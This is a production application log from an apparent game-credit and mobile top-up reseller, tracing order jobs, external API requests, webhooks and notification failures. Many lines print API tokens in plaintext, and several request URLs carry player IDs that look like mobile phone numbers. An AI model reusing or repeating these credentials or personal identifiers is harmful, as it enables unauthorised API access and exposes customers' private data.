[2026-03-24 20:20:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WP2lYr59-1774372760","operation_id":164192,"processed":3,"errors":0} 
[2026-03-24 20:20:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WP2lYr59-1774372760","operation_id":164192,"processed":3,"errors":0} 
[2026-03-24 20:20:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"6L5AYSOOpxR6TOQD8iUgaXgHT5AKeQ7T","execution_time":"2026-03-24 20:20:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-WP2lYr59-1774372760","operation_id":164192} 
[2026-03-24 20:20:04] production.INFO: Executing GetProducts task...  
[2026-03-24 20:20:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 20:20:04] production.INFO: Executing GetProducts task...  
[2026-03-24 20:20:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Balb-1774372776","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:20:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-Balb-1774372776","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:20:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:20:05] production.ERROR: Order not found or already processed. External ID: ORD-Balb-1774372776  
[2026-03-24 20:20:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Balb-1774372776","status":"completed","codes_count":0} 
[2026-03-24 20:20:06] production.INFO: async() رجع: true  
[2026-03-24 20:20:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 20:20:07] production.WARNING: Product with ID 395 not found  
[2026-03-24 20:20:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 20:20:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 20:20:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 20:20:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 20:20:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 20:20:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 20:20:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 20:20:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 20:20:08] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 20:20:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1540  
[2026-03-24 20:20:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 620  
[2026-03-24 20:20:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 20:20:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 20:20:09] production.ERROR: FCM send failed for token 127: Requested entity was not found.  
[2026-03-24 20:20:14] production.INFO: Constructing job for order: 179316  
[2026-03-24 20:20:16] production.INFO: Handling job for order: 179316  
[2026-03-24 20:20:16] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:20:16] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:20:16] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/587/params?qty=210&uuid=96e062e5-4695-4e46-a1ae-2d06e464cd8a&Player_ID=21774343  
[2026-03-24 20:20:16] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/587/params?qty=210&uuid=96e062e5-4695-4e46-a1ae-2d06e464cd8a&Player_ID=21774343","has_body":false} 
[2026-03-24 20:20:17] production.INFO: Operation sent successfully {"operation_id":164195,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-cvac4-1774372816","amount":1.6164991079999999623595385855878703296184539794921875,"status":"processing","product":"HoneyJar Amount","game":"HoneyJar","notes":[],"created_at":"2026-03-24 20:20:16"}},"processed_data":{"order_number":"ORD-cvac4-1774372816","amount":1.6164991079999999623595385855878703296184539794921875,"status":"processing","product":"HoneyJar Amount","game":"HoneyJar"}} 
[2026-03-24 20:20:42] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-MuBcF-1774372624","status":"completed","notes":[],"codes":[]}} 
[2026-03-24 20:20:42] production.INFO: Processed webhook data (normalized) {"id":"ORD-MuBcF-1774372624","status":"completed","codes":[],"notes":[]} 
[2026-03-24 20:20:42] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:20:42] production.INFO: SendAcceptReject: Notification queued {"user_id":1665,"notification_type":"order_approved","reference_id":179308} 
[2026-03-24 20:20:42] production.INFO: Order updated successfully. Order ID: 179308, Status: completed  
[2026-03-24 20:20:42] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-MuBcF-1774372624","status":"completed","codes_count":0} 
[2026-03-24 20:20:44] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1665  
[2026-03-24 20:21:16] production.INFO: Constructing job for order: 179317  
[2026-03-24 20:21:17] production.INFO: Handling job for order: 179317  
[2026-03-24 20:21:17] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:21:17] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:21:17] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/97/params?qty=10000&uuid=9fbdced9-4fdd-42cf-9e2f-5ecf01474d1f&Player_ID=821760046  
[2026-03-24 20:21:17] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/97/params?qty=10000&uuid=9fbdced9-4fdd-42cf-9e2f-5ecf01474d1f&Player_ID=821760046","has_body":false} 
[2026-03-24 20:21:17] production.INFO: Operation sent successfully {"operation_id":164196,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-yYayI8Ak-1774372877","amount":10.4427929999999999921556081972084939479827880859375,"status":"processing","product":"PartyStar Amount","game":"PartyStar","notes":[],"created_at":"2026-03-24 20:21:17"}},"processed_data":{"order_number":"ORD-yYayI8Ak-1774372877","amount":10.4427929999999999921556081972084939479827880859375,"status":"processing","product":"PartyStar Amount","game":"PartyStar"}} 
[2026-03-24 20:22:01] production.INFO: SendAcceptReject: Notification queued {"user_id":194,"notification_type":"request_approved","reference_id":18698} 
[2026-03-24 20:22:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"yQ1NW2fgOKl7VFbevYu4YdsbTMOTZXts","execution_time":"2026-03-24 20:22:02"} 
[2026-03-24 20:22:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"yQ1NW2fgOKl7VFbevYu4YdsbTMOTZXts","execution_time":"2026-03-24 20:22:02","total_operations":2,"sites_count":1} 
[2026-03-24 20:22:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"yQ1NW2fgOKl7VFbevYu4YdsbTMOTZXts","execution_time":"2026-03-24 20:22:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-cvac4-1774372816","ORD-yYayI8Ak-1774372877"]} 
[2026-03-24 20:22:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"yQ1NW2fgOKl7VFbevYu4YdsbTMOTZXts","execution_time":"2026-03-24 20:22:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:22:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"yQ1NW2fgOKl7VFbevYu4YdsbTMOTZXts","execution_time":"2026-03-24 20:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 20:22:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"yQ1NW2fgOKl7VFbevYu4YdsbTMOTZXts","execution_time":"2026-03-24 20:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-cvac4-1774372816","operation_id":164195} 
[2026-03-24 20:22:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"yQ1NW2fgOKl7VFbevYu4YdsbTMOTZXts","execution_time":"2026-03-24 20:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196} 
[2026-03-24 20:22:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"yQ1NW2fgOKl7VFbevYu4YdsbTMOTZXts","execution_time":"2026-03-24 20:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 20:22:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"yQ1NW2fgOKl7VFbevYu4YdsbTMOTZXts","execution_time":"2026-03-24 20:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"processed":0,"errors":0} 
[2026-03-24 20:22:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"yQ1NW2fgOKl7VFbevYu4YdsbTMOTZXts","execution_time":"2026-03-24 20:22:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196} 
[2026-03-24 20:22:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 194  
[2026-03-24 20:22:25] production.INFO: SendAcceptReject: Notification queued {"user_id":1759,"notification_type":"request_rejected","reference_id":18699} 
[2026-03-24 20:22:28] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1759  
[2026-03-24 20:22:30] production.INFO: SendAcceptReject: Notification queued {"user_id":528,"notification_type":"request_approved","reference_id":18697} 
[2026-03-24 20:22:31] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 528  
[2026-03-24 20:22:39] production.INFO: SendAcceptReject: Notification queued {"user_id":948,"notification_type":"request_approved","reference_id":18700} 
[2026-03-24 20:22:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 948  
[2026-03-24 20:23:14] production.INFO: Constructing job for order: 179319  
[2026-03-24 20:23:16] production.INFO: Handling job for order: 179319  
[2026-03-24 20:23:16] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:23:16] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:23:16] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=1000&uuid=9d08f264-460c-4611-a5a1-f88e689a2cf5&Player_ID=53373156  
[2026-03-24 20:23:16] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=1000&uuid=9d08f264-460c-4611-a5a1-f88e689a2cf5&Player_ID=53373156","has_body":false} 
[2026-03-24 20:23:17] production.INFO: Operation sent successfully {"operation_id":164197,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-6OE4j-1774372996","amount":1.71667229999999992884340827004052698612213134765625,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 20:23:17"}},"processed_data":{"order_number":"ORD-6OE4j-1774372996","amount":1.71667229999999992884340827004052698612213134765625,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 20:24:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"lvpO3Z8E4K8BzE84BNGTnJrTNnmtGJv9","execution_time":"2026-03-24 20:24:02"} 
[2026-03-24 20:24:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"lvpO3Z8E4K8BzE84BNGTnJrTNnmtGJv9","execution_time":"2026-03-24 20:24:02","total_operations":3,"sites_count":1} 
[2026-03-24 20:24:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"lvpO3Z8E4K8BzE84BNGTnJrTNnmtGJv9","execution_time":"2026-03-24 20:24:02","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-cvac4-1774372816","ORD-yYayI8Ak-1774372877","ORD-6OE4j-1774372996"]} 
[2026-03-24 20:24:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"lvpO3Z8E4K8BzE84BNGTnJrTNnmtGJv9","execution_time":"2026-03-24 20:24:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:24:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"lvpO3Z8E4K8BzE84BNGTnJrTNnmtGJv9","execution_time":"2026-03-24 20:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 20:24:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"lvpO3Z8E4K8BzE84BNGTnJrTNnmtGJv9","execution_time":"2026-03-24 20:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-6OE4j-1774372996","operation_id":164197} 
[2026-03-24 20:24:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"lvpO3Z8E4K8BzE84BNGTnJrTNnmtGJv9","execution_time":"2026-03-24 20:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196} 
[2026-03-24 20:24:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"lvpO3Z8E4K8BzE84BNGTnJrTNnmtGJv9","execution_time":"2026-03-24 20:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"processed":1,"skipped":2,"updates_prepared":1} 
[2026-03-24 20:24:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"lvpO3Z8E4K8BzE84BNGTnJrTNnmtGJv9","execution_time":"2026-03-24 20:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 20:24:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"lvpO3Z8E4K8BzE84BNGTnJrTNnmtGJv9","execution_time":"2026-03-24 20:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"count":1} 
[2026-03-24 20:24:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"lvpO3Z8E4K8BzE84BNGTnJrTNnmtGJv9","execution_time":"2026-03-24 20:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"count":1} 
[2026-03-24 20:24:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"lvpO3Z8E4K8BzE84BNGTnJrTNnmtGJv9","execution_time":"2026-03-24 20:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"user_id":789,"notification_type":"order_approved","reference_id":179316} 
[2026-03-24 20:24:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"lvpO3Z8E4K8BzE84BNGTnJrTNnmtGJv9","execution_time":"2026-03-24 20:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:24:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"lvpO3Z8E4K8BzE84BNGTnJrTNnmtGJv9","execution_time":"2026-03-24 20:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 20:24:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"lvpO3Z8E4K8BzE84BNGTnJrTNnmtGJv9","execution_time":"2026-03-24 20:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"processed":1,"errors":0} 
[2026-03-24 20:24:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"lvpO3Z8E4K8BzE84BNGTnJrTNnmtGJv9","execution_time":"2026-03-24 20:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"processed":1,"errors":0} 
[2026-03-24 20:24:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"lvpO3Z8E4K8BzE84BNGTnJrTNnmtGJv9","execution_time":"2026-03-24 20:24:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196} 
[2026-03-24 20:24:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 789  
[2026-03-24 20:24:19] production.INFO: Constructing job for order: 179320  
[2026-03-24 20:24:20] production.INFO: Handling job for order: 179320  
[2026-03-24 20:24:20] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:24:20] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:24:20] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/813/params?qty=1&uuid=17bf2ef1-941e-45b4-a0b2-ef1fa683fcb9&Player_ID=0997948418  
[2026-03-24 20:24:20] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/813/params?qty=1&uuid=17bf2ef1-941e-45b4-a0b2-ef1fa683fcb9&Player_ID=0997948418","has_body":false} 
[2026-03-24 20:24:21] production.INFO: Constructing job for order: 179321  
[2026-03-24 20:24:21] production.INFO: Operation sent successfully {"operation_id":164198,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Eaq-1774373060","amount":390.67572000000001253283699043095111846923828125,"status":"processing","product":"370.19 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 20:24:21"}},"processed_data":{"order_number":"ORD-Eaq-1774373060","amount":390.67572000000001253283699043095111846923828125,"status":"processing","product":"370.19 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 20:24:24] production.INFO: Handling job for order: 179321  
[2026-03-24 20:24:24] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:24:24] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:24:24] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=f82a2632-e2a7-453b-8d74-81ceaac9741c&Player_ID=0980165024  
[2026-03-24 20:24:24] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/31/params?qty=1&uuid=f82a2632-e2a7-453b-8d74-81ceaac9741c&Player_ID=0980165024","has_body":false} 
[2026-03-24 20:24:24] production.INFO: Constructing job for order: 179322  
[2026-03-24 20:24:24] production.INFO: Operation sent successfully {"operation_id":164199,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-zm0-1774373064","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 20:24:24"}},"processed_data":{"order_number":"ORD-zm0-1774373064","amount":21.308119999999998839257386862300336360931396484375,"status":"processing","product":"20.19  Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 20:24:26] production.INFO: Constructing job for order: 179323  
[2026-03-24 20:24:27] production.INFO: Handling job for order: 179322  
[2026-03-24 20:24:27] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:24:27] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:24:27] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/32/params?qty=1&uuid=0113a9e5-4d19-4b94-a35d-d1607395ea5a&Player_ID=0980165024  
[2026-03-24 20:24:27] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/32/params?qty=1&uuid=0113a9e5-4d19-4b94-a35d-d1607395ea5a&Player_ID=0980165024","has_body":false} 
[2026-03-24 20:24:28] production.INFO: Operation sent successfully {"operation_id":164200,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-1v1-1774373068","amount":24.359329999999999927240423858165740966796875,"status":"processing","product":"23.08 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 20:24:28"}},"processed_data":{"order_number":"ORD-1v1-1774373068","amount":24.359329999999999927240423858165740966796875,"status":"processing","product":"23.08 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 20:24:28] production.INFO: Handling job for order: 179323  
[2026-03-24 20:24:28] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:24:28] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:24:28] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=1000&uuid=7128242c-890d-4873-9e87-36661bcc429d&Player_ID=53394463  
[2026-03-24 20:24:28] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=1000&uuid=7128242c-890d-4873-9e87-36661bcc429d&Player_ID=53394463","has_body":false} 
[2026-03-24 20:24:29] production.INFO: Operation sent successfully {"operation_id":164201,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-4QwLl-1774373069","amount":1.71667229999999992884340827004052698612213134765625,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 20:24:29"}},"processed_data":{"order_number":"ORD-4QwLl-1774373069","amount":1.71667229999999992884340827004052698612213134765625,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 20:24:46] production.INFO: Constructing job for order: 179324  
[2026-03-24 20:24:47] production.INFO: Handling job for order: 179324  
[2026-03-24 20:24:47] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:24:47] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:24:47] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/584/params?qty=1000&uuid=d9264a34-1b08-4a05-b0d4-d60f45b5cf47&Player_ID=108429512  
[2026-03-24 20:24:47] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/584/params?qty=1000&uuid=d9264a34-1b08-4a05-b0d4-d60f45b5cf47&Player_ID=108429512","has_body":false} 
[2026-03-24 20:24:48] production.INFO: Operation sent successfully {"operation_id":164202,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-gHpO-1774373087","amount":1.683657399999999970674480209709145128726959228515625,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan","notes":[],"created_at":"2026-03-24 20:24:48"}},"processed_data":{"order_number":"ORD-gHpO-1774373087","amount":1.683657399999999970674480209709145128726959228515625,"status":"processing","product":"Yaahlan Amount","game":"Yaahlan"}} 
[2026-03-24 20:24:55] production.INFO: Constructing job for order: 179325  
[2026-03-24 20:24:55] production.INFO: Constructing job for order: 179326  
[2026-03-24 20:24:57] production.INFO: Handling job for order: 179325  
[2026-03-24 20:24:57] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:24:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:24:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/47/params?qty=1&uuid=5aaed6d7-0bc3-4365-952f-c70dc7c6f333&Player_ID=0997948418  
[2026-03-24 20:24:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/47/params?qty=1&uuid=5aaed6d7-0bc3-4365-952f-c70dc7c6f333&Player_ID=0997948418","has_body":false} 
[2026-03-24 20:24:57] production.INFO: Operation sent successfully {"operation_id":164203,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-vutyo-1774373097","amount":138.009350000000011959855328314006328582763671875,"status":"processing","product":"130.77 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 20:24:57"}},"processed_data":{"order_number":"ORD-vutyo-1774373097","amount":138.009350000000011959855328314006328582763671875,"status":"processing","product":"130.77 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 20:24:57] production.INFO: Handling job for order: 179326  
[2026-03-24 20:24:57] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:24:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:24:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=42601397-6142-4893-b647-0eda17469103&Player_ID=5794444861  
[2026-03-24 20:24:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=42601397-6142-4893-b647-0eda17469103&Player_ID=5794444861","has_body":false} 
[2026-03-24 20:24:58] production.INFO: Operation sent successfully {"operation_id":164204,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-vLGKY-1774373098","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 20:24:58"}},"processed_data":{"order_number":"ORD-vLGKY-1774373098","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 20:25:01] production.INFO: Executing GetProducts task...  
[2026-03-24 20:25:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 20:25:01] production.INFO: Executing GetProducts task...  
[2026-03-24 20:25:04] production.INFO: async() رجع: true  
[2026-03-24 20:25:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 20:25:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 20:25:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 20:25:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 20:25:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 20:25:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 20:25:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 20:25:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 20:25:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 20:25:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 20:25:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 20:25:10] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-vLGKY-1774373098","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 20:25:10] production.INFO: Processed webhook data (normalized) {"id":"ORD-vLGKY-1774373098","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 20:25:10] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:25:10] production.INFO: SendAcceptReject: Notification queued {"user_id":528,"notification_type":"order_approved","reference_id":179326} 
[2026-03-24 20:25:10] production.INFO: Order updated successfully. Order ID: 179326, Status: completed  
[2026-03-24 20:25:10] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-vLGKY-1774373098","status":"completed","codes_count":0} 
[2026-03-24 20:25:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 528  
[2026-03-24 20:25:31] production.INFO: Constructing job for order: 179327  
[2026-03-24 20:25:32] production.INFO: Handling job for order: 179327  
[2026-03-24 20:25:32] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:25:32] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:25:32] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/561/params?qty=110000&uuid=f1bda0e5-2801-493b-a17a-a7733f4faf74&Player_ID=3102300  
[2026-03-24 20:25:32] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/561/params?qty=110000&uuid=f1bda0e5-2801-493b-a17a-a7733f4faf74&Player_ID=3102300","has_body":false} 
[2026-03-24 20:25:33] production.INFO: Operation sent successfully {"operation_id":164205,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-BfmUff-1774373133","amount":8.236095999999999861529431655071675777435302734375,"status":"processing","product":"Tami Amount","game":"Tami","notes":[],"created_at":"2026-03-24 20:25:33"}},"processed_data":{"order_number":"ORD-BfmUff-1774373133","amount":8.236095999999999861529431655071675777435302734375,"status":"processing","product":"Tami Amount","game":"Tami"}} 
